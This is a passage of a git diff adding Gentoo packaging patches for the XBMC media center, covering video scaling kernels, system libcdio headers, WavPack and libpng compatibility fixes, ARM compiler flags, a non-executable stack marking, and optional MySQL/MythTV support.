++ *  This Program is free software; you can redistribute it and/or modify
++ *  it under the terms of the GNU General Public License as published by
++ *  the Free Software Foundation; either version 2, or (at your option)
++ *  any later version.
++ *
++ *  This Program is distributed in the hope that it will be useful,
++ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ *  GNU General Public License for more details.
++ *
++ *  You should have received a copy of the GNU General Public License
++ *  along with XBMC; see the file COPYING.  If not, write to
++ *  the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
++ *  http://www.gnu.org/copyleft/gpl.html
++ *
++ */
++
++#ifndef CONVOLUTIONKERNELS
++#define CONVOLUTIONKERNELS
++
++#include "system.h"
++#include "../../../settings/VideoSettings.h"
++
++class CConvolutionKernel
++{
++  public:
++    CConvolutionKernel(ESCALINGMETHOD method, int size);
++    ~CConvolutionKernel();
++
++    int      GetSize()           { return m_size; }
++    float*   GetFloatPixels()    { return m_floatpixels; }
++    uint8_t* GetIntFractPixels() { return m_intfractpixels; }
++
++  private:
++
++    void Lanczos2();
++    void Lanczos3Fast();
++    void Lanczos3();
++    void Bicubic(double B, double C);
++
++    double LanczosWeight(double x, double radius);
++    double BicubicWeight(double x, double B, double C);
++
++    void ToIntFract();
++
++    int      m_size;
++    float*   m_floatpixels;
++    uint8_t* m_intfractpixels;
++};
++
++#endif //CONVOLUTIONKERNELS
+--- xbmc/cores/VideoRenderers/VideoShaders/Makefile
++++ xbmc/cores/VideoRenderers/VideoShaders/Makefile
+@@ -1,5 +1,5 @@
+ INCLUDES=-I. -I.. -I../../ -I../../../ -I../../../linux -I../../../../guilib
+-SRCS=YUV2RGBShader.cpp VideoFilterShader.cpp
++SRCS=YUV2RGBShader.cpp VideoFilterShader.cpp ConvolutionKernels.cpp
+ 
+ LIB=VideoShaders.a
+ 
+--- xbmc/cores/VideoRenderers/LinuxRendererGL.cpp
++++ xbmc/cores/VideoRenderers/LinuxRendererGL.cpp
+@@ -886,6 +886,19 @@
+ 
+   VerifyGLState();
+ 
++  if (m_scalingMethod == VS_SCALINGMETHOD_AUTO)
++  {
++    bool scaleSD = (int)m_sourceWidth < m_upscalingWidth && (int)m_sourceHeight < m_upscalingHeight &&
++                   m_sourceHeight < 720 && m_sourceWidth < 1280;
++
++    if (Supports(VS_SCALINGMETHOD_VDPAU_HARDWARE))
++      m_scalingMethod = VS_SCALINGMETHOD_VDPAU_HARDWARE;
++    else if (Supports(VS_SCALINGMETHOD_LANCZOS3_FAST) && scaleSD)
++      m_scalingMethod = VS_SCALINGMETHOD_LANCZOS3_FAST;
++    else
++      m_scalingMethod = VS_SCALINGMETHOD_LINEAR;
++  }
++
+   switch (m_scalingMethod)
+   {
+   case VS_SCALINGMETHOD_NEAREST:
+@@ -898,13 +911,10 @@
+     m_renderQuality = RQ_SINGLEPASS;
+     return;
+ 
++  case VS_SCALINGMETHOD_LANCZOS2:
++  case VS_SCALINGMETHOD_LANCZOS3_FAST:
++  case VS_SCALINGMETHOD_LANCZOS3:
+   case VS_SCALINGMETHOD_CUBIC:
+-    if(!glewIsSupported("GL_ARB_texture_float"))
+-    {
+-      CLog::Log(LOGERROR, "GL: hardware doesn't support GL_ARB_texture_float");
+-      break;
+-    }
+-
+     if (!m_fbo.Initialize())
+     {
+       CLog::Log(LOGERROR, "GL: Error initializing FBO");
+@@ -917,7 +927,7 @@
+       break;
+     }
+ 
+-    m_pVideoFilterShader = new BicubicFilterShader(0.3f, 0.3f);
++    m_pVideoFilterShader = new ConvolutionFilterShader(m_scalingMethod);
+     if (!m_pVideoFilterShader->CompileAndLink())
+     {
+       CLog::Log(LOGERROR, "GL: Error compiling and linking video filter shader");
+@@ -928,8 +938,6 @@
+     m_renderQuality = RQ_MULTIPASS;
+     return;
+ 
+-  case VS_SCALINGMETHOD_LANCZOS2:
+-  case VS_SCALINGMETHOD_LANCZOS3:
+   case VS_SCALINGMETHOD_SINC8:
+   case VS_SCALINGMETHOD_NEDI:
+     CLog::Log(LOGERROR, "GL: TODO: This scaler has not yet been implemented");
+@@ -1895,16 +1903,19 @@
+ bool CLinuxRendererGL::Supports(ESCALINGMETHOD method)
+ {
+   if(method == VS_SCALINGMETHOD_NEAREST
+-  || method == VS_SCALINGMETHOD_LINEAR)
++  || method == VS_SCALINGMETHOD_LINEAR
++  || method == VS_SCALINGMETHOD_AUTO)
+     return true;
+ 
+-
+-  if(method == VS_SCALINGMETHOD_CUBIC 
+-  && glewIsSupported("GL_ARB_texture_float")
+-  && glewIsSupported("GL_EXT_framebuffer_object")
+-  && m_renderMethod == RENDER_GLSL)
+-    return true;
+-
++  if(method == VS_SCALINGMETHOD_CUBIC
++  || method == VS_SCALINGMETHOD_LANCZOS2
++  || method == VS_SCALINGMETHOD_LANCZOS3_FAST
++  || method == VS_SCALINGMETHOD_LANCZOS3)
++  {
++    if (glewIsSupported("GL_EXT_framebuffer_object") && (m_renderMethod & RENDER_GLSL))
++      return true;
++  }
++ 
+   if (g_advancedSettings.m_videoHighQualityScaling != SOFTWARE_UPSCALING_DISABLED)
+   {
+     if(method == VS_SCALINGMETHOD_BICUBIC_SOFTWARE
+--- xbmc/GUIDialogVideoSettings.cpp
++++ xbmc/GUIDialogVideoSettings.cpp
+@@ -103,6 +103,7 @@
+     entries.push_back(make_pair(VS_SCALINGMETHOD_LINEAR           , 16302));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_CUBIC            , 16303));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS2         , 16304));
++    entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS3_FAST    , 16315));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS3         , 16305));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_SINC8            , 16306));
+ //    entries.push_back(make_pair(VS_SCALINGMETHOD_NEDI             , ?????));
+@@ -110,6 +111,7 @@
+     entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS_SOFTWARE , 16308));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_SINC_SOFTWARE    , 16309));
+     entries.push_back(make_pair(VS_SCALINGMETHOD_VDPAU_HARDWARE   , 13120));
++    entries.push_back(make_pair(VS_SCALINGMETHOD_AUTO             , 16316));
+ 
+     /* remove unsupported methods */
+     for(vector<pair<int, int> >::iterator it = entries.begin(); it != entries.end();)
+--- xbmc/Settings.cpp
++++ xbmc/Settings.cpp
+@@ -772,7 +772,7 @@
+     GetInteger(pElement, "interlacemethod", interlaceMethod, VS_INTERLACEMETHOD_NONE, VS_INTERLACEMETHOD_NONE, VS_INTERLACEMETHOD_INVERSE_TELECINE);
+     m_stSettings.m_defaultVideoSettings.m_InterlaceMethod = (EINTERLACEMETHOD)interlaceMethod;
+     int scalingMethod;
+-    GetInteger(pElement, "scalingmethod", scalingMethod, VS_SCALINGMETHOD_LINEAR, VS_SCALINGMETHOD_NEAREST, VS_SCALINGMETHOD_CUBIC);
++    GetInteger(pElement, "scalingmethod", scalingMethod, VS_SCALINGMETHOD_LINEAR, VS_SCALINGMETHOD_NEAREST, VS_SCALINGMETHOD_AUTO);
+     m_stSettings.m_defaultVideoSettings.m_ScalingMethod = (ESCALINGMETHOD)scalingMethod;
+ 
+     GetInteger(pElement, "viewmode", m_stSettings.m_defaultVideoSettings.m_ViewMode, VIEW_MODE_NORMAL, VIEW_MODE_NORMAL, VIEW_MODE_CUSTOM);
diff --git a/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch b/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch
new file mode 100644
index 00000000..345d9115
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch
@@ -0,0 +1,129 @@
+diff --git a/xbmc/Application.cpp b/xbmc/Application.cpp
+index 9097519..9b6418d 100644
+--- a/xbmc/Application.cpp
++++ b/xbmc/Application.cpp
+@@ -236,7 +236,11 @@
+ #endif
+ 
+ #ifdef HAS_DVD_DRIVE
++#ifdef _WIN32
+ #include "lib/libcdio/logging.h"
++#else
++#include <cdio/logging.h>
++#endif
+ #endif
+ 
+ #ifdef HAS_HAL
+diff --git a/xbmc/FileSystem/Makefile b/xbmc/FileSystem/Makefile
+index 782d57a..1e524ed 100644
+--- a/xbmc/FileSystem/Makefile
++++ b/xbmc/FileSystem/Makefile
+@@ -1,5 +1,4 @@
+ INCLUDES=-I. -I../ -I../cores -I../linux -I../../guilib -I../lib/UnrarXLib -I../utils -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include
+-INCLUDES+=-I../lib/libcdio/libcdio/include
+ 
+ CXXFLAGS+=-D__STDC_FORMAT_MACROS \
+ 
+diff --git a/xbmc/FileSystem/cdioSupport.cpp b/xbmc/FileSystem/cdioSupport.cpp
+index 00e5fdd..21a0b67 100644
+--- a/xbmc/FileSystem/cdioSupport.cpp
++++ b/xbmc/FileSystem/cdioSupport.cpp
+@@ -26,7 +26,7 @@
+ #include "cdioSupport.h"
+ #include "utils/SingleLock.h"
+ #include "utils/log.h"
+-#ifndef _LINUX
++#ifdef _WIN32
+ #include "lib/libcdio/logging.h"
+ #include "lib/libcdio/util.h"
+ #include "lib/libcdio/mmc.h"
+diff --git a/xbmc/FileSystem/iso9660.cpp b/xbmc/FileSystem/iso9660.cpp
+index 6e1633f..58fbc50 100644
+--- a/xbmc/FileSystem/iso9660.cpp
++++ b/xbmc/FileSystem/iso9660.cpp
+@@ -44,7 +44,7 @@ ISO9660
+ #include "utils/CharsetConverter.h"
+ 
+ #include "DetectDVDType.h"  // for MODE2_DATA_SIZE etc.
+-#ifdef _LINUX
++#ifndef _WIN32
+ #include <cdio/bytesex.h>
+ #else
+ #include "lib/libcdio/bytesex.h" // for from_723 & from_733
+diff --git a/xbmc/Makefile b/xbmc/Makefile
+index abfbdcb..f55381a 100644
+--- a/xbmc/Makefile
++++ b/xbmc/Makefile
+@@ -8,8 +8,6 @@ INCLUDES+=-Ilib/libUPnP/Platinum/Source/Core \
+           -Ilib/libUPnP/Neptune/Source/System/Posix \
+           -Ilib/libUPnP/Neptune/Source/Core
+ 
+-INCLUDES+=-Ilib/libcdio/libcdio/include
+-
+ SRCS=Application.cpp \
+      CueDocument.cpp \
+      GUISettings.cpp \
+diff --git a/xbmc/cdrip/CDDAReader.cpp b/xbmc/cdrip/CDDAReader.cpp
+index c8b37b2..e3e9c0b 100644
+--- a/xbmc/cdrip/CDDAReader.cpp
++++ b/xbmc/cdrip/CDDAReader.cpp
+@@ -24,7 +24,11 @@
+ #ifdef HAS_CDDA_RIPPER
+ 
+ #include "CDDAReader.h"
++#ifdef _WIN32
+ #include "lib/libcdio/cdio.h"
++#else
++#include <cdio/cdio.h>
++#endif
+ #include "utils/log.h"
+ 
+ #define SECTOR_COUNT 52
+diff --git a/xbmc/cores/paplayer/AC3CDDACodec.cpp b/xbmc/cores/paplayer/AC3CDDACodec.cpp
+index 20cded7..f2a077a 100644
+--- a/xbmc/cores/paplayer/AC3CDDACodec.cpp
++++ b/xbmc/cores/paplayer/AC3CDDACodec.cpp
+@@ -22,7 +22,11 @@
+ #include "system.h"
+ #include "AC3CDDACodec.h"
+ #ifdef HAS_AC3_CDDA_CODEC
++#ifdef _WIN32
+ #include "lib/libcdio/sector.h"
++#else
++#include <cdio/sector.h>
++#endif
+ 
+ AC3CDDACodec::AC3CDDACodec() : AC3Codec()
+ {
+diff --git a/xbmc/cores/paplayer/CDDAcodec.cpp b/xbmc/cores/paplayer/CDDAcodec.cpp
+index ca8f1be..42460dc 100644
+--- a/xbmc/cores/paplayer/CDDAcodec.cpp
++++ b/xbmc/cores/paplayer/CDDAcodec.cpp
+@@ -20,7 +20,11 @@
+  */
+ 
+ #include "CDDAcodec.h"
++#ifdef _WIN32
+ #include "lib/libcdio/sector.h"
++#else
++#include <cdio/sector.h>
++#endif
+ 
+ #define SECTOR_COUNT 55 // max. sectors that can be read at once
+ #define MAX_BUFFER_SIZE 2*SECTOR_COUNT*CDIO_CD_FRAMESIZE_RAW
+diff --git a/xbmc/cores/paplayer/DTSCDDACodec.cpp b/xbmc/cores/paplayer/DTSCDDACodec.cpp
+index e64cc2e..9bc46c6 100644
+--- a/xbmc/cores/paplayer/DTSCDDACodec.cpp
++++ b/xbmc/cores/paplayer/DTSCDDACodec.cpp
+@@ -22,7 +22,11 @@
+ #include "system.h"
+ #include "DTSCDDACodec.h"
+ #ifdef HAS_DTS_CODEC
++#ifdef _WIN32
+ #include "lib/libcdio/sector.h"
++#else
++#include <cdio/sector.h>
++#endif
+ 
+ DTSCDDACodec::DTSCDDACodec() : DTSCodec()
+ {
diff --git a/media-tv/xbmc/files/xbmc-9.11-wavpack.patch b/media-tv/xbmc/files/xbmc-9.11-wavpack.patch
new file mode 100644
index 00000000..4ef0d147
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-wavpack.patch
@@ -0,0 +1,44 @@
+fix from upstream trunk
+
+http://xbmc.org/trac/ticket/8185
+
+Index: trunk/xbmc/cores/paplayer/DllWAVPack.h
+===================================================================
+--- trunk/xbmc/cores/paplayer/DllWAVPack.h	(revision 22927)
++++ trunk/xbmc/cores/paplayer/DllWAVPack.h	(revision 25321)
+@@ -58,7 +58,7 @@
+     virtual int WavpackGetReducedChannels (WavpackContext *wpc)=0;
+     virtual int WavpackGetFloatNormExp (WavpackContext *wpc)=0;
+-    virtual int WavpackGetMD5Sum (WavpackContext *wpc, uchar data [16])=0;
++    virtual int WavpackGetMD5Sum (WavpackContext *wpc, unsigned char data [16])=0;
+     virtual uint32_t WavpackGetWrapperBytes (WavpackContext *wpc)=0;
+-    virtual uchar *WavpackGetWrapperData (WavpackContext *wpc)=0;
++    virtual unsigned char *WavpackGetWrapperData (WavpackContext *wpc)=0;
+     virtual void WavpackFreeWrapper (WavpackContext *wpc)=0;
+     virtual void WavpackSeekTrailingWrapper (WavpackContext *wpc)=0;
+@@ -77,5 +77,5 @@
+     virtual int WavpackSetConfiguration (WavpackContext *wpc, WavpackConfig *config, uint32_t total_samples)=0;
+     virtual int WavpackAddWrapper (WavpackContext *wpc, void *data, uint32_t bcount)=0;
+-    virtual int WavpackStoreMD5Sum (WavpackContext *wpc, uchar data [16])=0;
++    virtual int WavpackStoreMD5Sum (WavpackContext *wpc, unsigned char data [16])=0;
+     virtual int WavpackPackInit (WavpackContext *wpc)=0;
+     virtual int WavpackPackSamples (WavpackContext *wpc, int32_t *sample_buffer, uint32_t sample_count)=0;
+@@ -133,9 +133,9 @@
+     virtual int WavpackGetFloatNormExp (WavpackContext *wpc)
+         { return ::WavpackGetFloatNormExp (wpc); }
+-    virtual int WavpackGetMD5Sum (WavpackContext *wpc, uchar data [16])
++    virtual int WavpackGetMD5Sum (WavpackContext *wpc, unsigned char data [16])
+         { return ::WavpackGetMD5Sum (wpc, data); }
+     virtual uint32_t WavpackGetWrapperBytes (WavpackContext *wpc)
+         { return ::WavpackGetWrapperBytes (wpc); }
+-    virtual uchar *WavpackGetWrapperData (WavpackContext *wpc)
++    virtual unsigned char *WavpackGetWrapperData (WavpackContext *wpc)
+         { return ::WavpackGetWrapperData (wpc); }
+     virtual void WavpackFreeWrapper (WavpackContext *wpc)
+@@ -171,5 +171,5 @@
+     virtual int WavpackAddWrapper (WavpackContext *wpc, void *data, uint32_t bcount)
+         { return ::WavpackAddWrapper (wpc, data, bcount); }
+-    virtual int WavpackStoreMD5Sum (WavpackContext *wpc, uchar data [16])
++    virtual int WavpackStoreMD5Sum (WavpackContext *wpc, unsigned char data [16])
+         { return ::WavpackStoreMD5Sum (wpc, data); }
+     virtual int WavpackPackInit (WavpackContext *wpc)
diff --git a/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch b/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch
new file mode 100644
index 00000000..c50d83e2
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch
@@ -0,0 +1,15 @@
+--- xbmc-9999.orig/configure.in
++++ xbmc-9999/configure.in
+@@ -572,9 +572,9 @@ if test "$host_vendor" = "apple" ; then
+     LIBS="$LIBS -framework ApplicationServices"
+   fi
+ elif test "$use_arch" = "arm"; then
+-  CFLAGS="$CFLAGS -mfloat-abi=softfp -mno-apcs-stack-check"
+-  CXXFLAGS="$CXXFLAGS -mfloat-abi=softfp -mno-apcs-stack-check"
+-  FFMPEG_EXTRACFLAGS="-mfloat-abi=softfp"
++  CFLAGS="$CFLAGS -mno-apcs-stack-check"
++  CXXFLAGS="$CXXFLAGS -mno-apcs-stack-check"
++  FFMPEG_EXTRACFLAGS=""
+   if test "$use_tegra" = "yes"; then
+     # Compile for ARMv7a architecture, need to test gcc for vfpv3-d16 support 
+     SAVE_CFLAGS="$CFLAGS"
diff --git a/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch b/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch
new file mode 100644
index 00000000..02954e8e
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch
@@ -0,0 +1,47 @@
+--- xbmc-10.1.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
++++ xbmc-10.1/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
+@@ -178,12 +178,14 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	int _num_palette;
+ 	png_colorp _palette;
+ #if PNG_LIBPNG_VER > 10399
+-	png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++	png_uint_32 _palette_ret;
++	_palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++	if (_palette_ret && _num_palette>0){
+ #else
+ 	_num_palette=info_ptr->num_palette;
+ 	_palette=info_ptr->palette;
+-#endif
+ 	if (_num_palette>0){
++#endif
+ 		SetPalette((rgb_color*)_palette,_num_palette);
+ 		SetClrImportant(_num_palette);
+ 	} else if (_bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
+@@ -199,11 +201,13 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	int _num_trans;
+ 	png_color_16p _trans_color;
+ #if PNG_LIBPNG_VER > 10399
+-	png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++	png_uint_32 _trans_ret;
++	_trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++	if (_trans_ret && _num_trans!=0){ //palette transparency
+ #else
+ 	_num_trans=info_ptr->num_trans;
+-#endif
+ 	if (_num_trans!=0){ //palette transparency
++#endif
+ 		if (_num_trans==1){
+ 			if (_color_type == PNG_COLOR_TYPE_PALETTE){
+ #if PNG_LIBPNG_VER > 10399
+@@ -219,7 +223,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ #endif
+ 			}
+ 		}
++#if PNG_LIBPNG_VER > 10399
++		if (_num_trans>1 && _trans_alpha!=NULL){
++#else
+ 		if (_num_trans>1){
++#endif
+ 			RGBQUAD* pal=GetPalette();
+ 			if (pal){
+ 				DWORD ip;
diff --git a/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch b/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch
new file mode 100644
index 00000000..179697a8
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch
@@ -0,0 +1,16 @@
+http://bugs.gentoo.org/400617
+
+do not force any particular ABI or FPU or SIMD compiler flags for arm
+targets.  let the toolchain and user CFLAGS control that.
+
+--- a/configure.in
++++ b/configure.in
+@@ -571,7 +571,7 @@
+     LIBS="$LIBS -framework DiskArbitration"
+     LIBS="$LIBS -framework ApplicationServices"
+   fi
+-elif test "$use_arch" = "arm"; then
++elif false; then
+   CFLAGS="$CFLAGS -mfloat-abi=softfp -mno-apcs-stack-check"
+   CXXFLAGS="$CXXFLAGS -mfloat-abi=softfp -mno-apcs-stack-check"
+   FFMPEG_EXTRACFLAGS="-mfloat-abi=softfp"
diff --git a/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch b/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch
new file mode 100644
index 00000000..67b20b7b
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch
@@ -0,0 +1,28 @@
+http://trac.xbmc.org/ticket/12735
+
+From f0e33eefa4b5d46f26811db2f5e943dcd7f2870e Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@gentoo.org>
+Date: Thu, 1 Mar 2012 00:04:49 -0500
+Subject: [PATCH] mark stack as non-executable
+
+Signed-off-by: Mike Frysinger <vapier@gentoo.org>
+---
+ xbmc/utils/fastmemcpy-arm.S |    5 +++++
+ 1 files changed, 5 insertions(+), 0 deletions(-)
+
+diff --git a/xbmc/utils/fastmemcpy-arm.S b/xbmc/utils/fastmemcpy-arm.S
+index 0e810a7..3d77c68 100644
+--- a/xbmc/utils/fastmemcpy-arm.S
++++ b/xbmc/utils/fastmemcpy-arm.S
+@@ -527,3 +527,8 @@ copy_last_3_and_return:
+ 
+ #endif    /* __ARM_ARCH__ < 7 */
+ #endif
++
++#if defined(__linux__) && defined(__ELF__)
++/* we don't need an executable stack */
++.section .note.GNU-stack,"",%progbits
++#endif
+-- 
+1.7.8.4
+
diff --git a/media-tv/xbmc/files/xbmc-9999-nomythtv.patch b/media-tv/xbmc/files/xbmc-9999-nomythtv.patch
new file mode 100644
index 00000000..09286dba
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9999-nomythtv.patch
@@ -0,0 +1,206 @@
+http://trac.xbmc.org/ticket/11775
+
+make mysql/mythtv support optional
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -127,13 +127,17 @@ endif
+ LIB_DIRS=\
+ 	lib/cximage-6.0 \
+ 	lib/libexif \
+-	lib/cmyth \
+ 	lib/libhdhomerun \
+ 	lib/libid3tag \
+ 	lib/libapetag \
+ 	lib/cpluff \
+ 	lib/xbmc-dll-symbols
+ 
++ifeq (@BUILD_MYTHTV@,1)
++LIB_DIRS+=\
++	lib/cmyth
++endif
++
+ SS_DIRS=
+ ifeq (@USE_OPENGL@,1)
+ SS_DIRS+= xbmc/screensavers/rsxs-0.9/xbmc
+@@ -418,7 +422,10 @@ imagelib: dllloader
+ 	$(MAKE) -C lib/cximage-6.0
+ 
+ codecs: papcodecs dvdpcodecs
+-libs: cmyth libhdhomerun libid3tag imagelib libexif system/libcpluff-@ARCH@.so
++libs: libhdhomerun libid3tag imagelib libexif system/libcpluff-@ARCH@.so
++ifeq (@BUILD_MYTHTV@,1)
++libs: cmyth
++endif
+ externals: codecs libs visualizations screensavers
+ 
+ xcode_depends: \
+--- a/configure.in
++++ b/configure.in
+@@ -68,6 +68,9 @@ goom_enabled="== GOOM enabled. =="
+ goom_disabled="== GOOM disabled. =="
+ pulse_not_found="== Could not find libpulse. PulseAudio support disabled. =="
+ pulse_disabled="== PulseAudio support manually disabled. =="
++mysql_not_found="Could not find libmysqlclient. MySQL (and MythTV) support disabled. =="
++mysql_disabled="== MySQL support disabled. =="
++mythtv_disabled="== MythTV support disabled. =="
+ dvdcss_enabled="== DVDCSS support enabled. =="
+ dvdcss_disabled="== DVDCSS support disabled. =="
+ hal_not_found="== Could not find hal. HAL support disabled. =="
+@@ -238,6 +241,18 @@ AC_ARG_ENABLE([ffmpeg_libvorbis],
+   [use_ffmpeg_libvorbis=$enableval],
+   [use_ffmpeg_libvorbis=no])
+ 
++AC_ARG_ENABLE([mysql],
++  [AS_HELP_STRING([--enable-mysql],
++  [enable MySQL support (default is auto)])],
++  [use_mysql=$enableval],
++  [use_mysql=auto])
++
++AC_ARG_ENABLE([mythtv],
++  [AS_HELP_STRING([--enable-mythtv],
++  [enable MythTV support (default is auto)])],
++  [use_mythtv=$enableval],
++  [use_mythtv=auto])
++
+ AC_ARG_ENABLE([dvdcss],
+   [AS_HELP_STRING([--enable-dvdcss],
+   [enable DVDCSS support (default is yes)])],
+@@ -563,14 +578,31 @@ else
+ fi
+ 
+ # platform common libraries
+-AC_CHECK_PROG(MYSQL_CONFIG, mysql_config, "yes", "no")
+-if test $MYSQL_CONFIG = "yes"; then
+-  INCLUDES="$INCLUDES `mysql_config --include`"
+-  MYSQL_LIBS=`mysql_config --libs`
+-  LIBS="$LIBS $MYSQL_LIBS"
+-  AC_SUBST(MYSQL_LIBS)
+-else
+-  AC_MSG_ERROR($missing_program)
++have_mysql=no
++if test "$use_mysql" != "no"; then
++  AC_CHECK_PROG(MYSQL_CONFIG, mysql_config, "yes", "no")
++  if test $MYSQL_CONFIG = "yes"; then
++    INCLUDES="$INCLUDES `mysql_config --include`"
++    MYSQL_LIBS=`mysql_config --libs`
++    LIBS="$LIBS $MYSQL_LIBS"
++    AC_SUBST(MYSQL_LIBS)
++    AC_CHECK_LIB([mysqlclient], [main], have_mysql=yes)
++  fi
++fi
++if test "$have_mysql" = "yes"; then
++  BUILD_MYTHTV=1
++  AC_DEFINE([BUILD_MYSQL], [1], [Define to 1 to build MySQL.])
++  if test "$use_mysql" != "no"; then
++    AC_DEFINE([BUILD_MYTHTV], [1], [Define to 1 to build mythtv.])
++  fi
++elif test "$use_mysql" = "yes" || test "$use_mythtv" = "yes"; then
++  AC_MSG_ERROR([$mysql_not_found])
++else
++  BUILD_MYTHTV=0
++  use_mysql=no
++  AC_MSG_NOTICE($mysql_disabled)
++  use_mythtv=no
++  AC_MSG_NOTICE($mythtv_disabled)
+ fi
+ AC_CHECK_HEADER([ass/ass.h],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_HEADER([mpeg2dec/mpeg2.h],, AC_MSG_ERROR($missing_library))
+@@ -594,7 +625,6 @@ AC_CHECK_LIB([lzo2],        [main],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_LIB([z],           [main],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_LIB([crypto],      [main],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_LIB([ssl],         [main],, AC_MSG_ERROR($missing_library))
+-AC_CHECK_LIB([mysqlclient], [main],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_LIB([ssh],         [sftp_tell64],, AC_MSG_RESULT([Could not find suitable version of libssh]))
+ AC_CHECK_LIB([smbclient],   [main],, AC_MSG_ERROR($missing_library))
+ AC_CHECK_LIB([bluetooth],   [hci_devid],, AC_MSG_RESULT([Could not find suitable version of libbluetooth]))
+@@ -1319,6 +1349,18 @@ else
+   final_message="$final_message\n  HAL Support:\tNo"
+ fi
+ 
++if test "$use_mysql" = "yes"; then
++  final_message="$final_message\n  MySQL:\tYes"
++else
++  final_message="$final_message\n  MySQL:\tNo"
++fi
++
++if test "$use_mythtv" = "yes"; then
++  final_message="$final_message\n  MythTV:\tYes"
++else
++  final_message="$final_message\n  MythTV:\tNo"
++fi
++
+ # DVDCSS
+ if test "$use_dvdcss" = "yes"; then
+   AC_MSG_NOTICE($dvdcss_enabled)
+@@ -1490,6 +1532,8 @@ AC_SUBST(USE_EXTERNAL_FFMPEG)
+ AC_SUBST(PYTHON_VERSION)
+ AC_SUBST(OUTPUT_FILES)
+ AC_SUBST(HAVE_XBMC_NONFREE)
++AC_SUBST(BUILD_MYSQL)
++AC_SUBST(BUILD_MYTHTV)
+ AC_SUBST(USE_ASAP_CODEC)
+ AC_SUBST(LIBCURL_BASENAME)
+ AC_SUBST(LIBFLAC_BASENAME)
+--- a/xbmc/dbwrappers/Database.cpp
++++ b/xbmc/dbwrappers/Database.cpp
+@@ -29,7 +29,9 @@
+ #include "utils/AutoPtrHandle.h"
+ #include "utils/log.h"
+ #include "utils/URIUtils.h"
++#ifdef BUILD_MYSQL
+ #include "mysqldataset.h"
++#endif /* BUILD_MYSQL */
+ #include "sqlitedataset.h"
+ 
+ 
+@@ -266,6 +268,7 @@
+ 
+   m_sqlite = true;
+ 
++#ifdef BUILD_MYSQL
+   if ( dbSettings.type.Equals("mysql") )
+   {
+     // check we have all information before we cancel the fallback
+@@ -276,7 +279,8 @@
+       CLog::Log(LOGINFO, "Essential mysql database information is missing. Require at least host, user and pass defined.");
+   }
+   else
++#endif /* BUILD_MYSQL */
+   {
+     dbSettings.type = "sqlite3";
+     dbSettings.host = _P(g_settings.GetDatabaseFolder());
+     dbSettings.name = GetBaseDBName();
+@@ -369,10 +373,12 @@
+   {
+     m_pDB.reset( new SqliteDatabase() ) ;
+   }
++#ifdef BUILD_MYSQL
+   else if (dbSettings.type.Equals("mysql"))
+   {
+     m_pDB.reset( new MysqlDatabase() ) ;
+   }
++#endif /* BUILD_MYSQL */
+   else
+   {
+     CLog::Log(LOGERROR, "Unable to determine database type: %s", dbSettings.type.c_str());
+--- a/xbmc/dbwrappers/mysqldataset.cpp
++++ b/xbmc/dbwrappers/mysqldataset.cpp
+@@ -23,9 +23,11 @@
+ #include <string>
+ #include <set>
+ 
++#include "system.h" // for GetLastError()
++#ifdef BUILD_MYSQL
++
+ #include "mysqldataset.h"
+ #include "utils/log.h"
+-#include "system.h" // for GetLastError()
+ #include "mysql/errmsg.h"
+ #ifdef _WIN32
+ #pragma comment(lib, "mysqlclient.lib")
+@@ -1562,3 +1564,4 @@
+ 
+ }//namespace
+ 
++#endif /* BUILD_MYSQL */
diff --git a/media-tv/xbmc/xbmc-10.1.ebuild b/media-tv/xbmc/xbmc-10.1.ebuild
new file mode 100644
index 00000000..0a0ced48
--- /dev/null
+++ b/media-tv/xbmc/xbmc-10.1.ebuild
@@ -0,0 +1,225 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
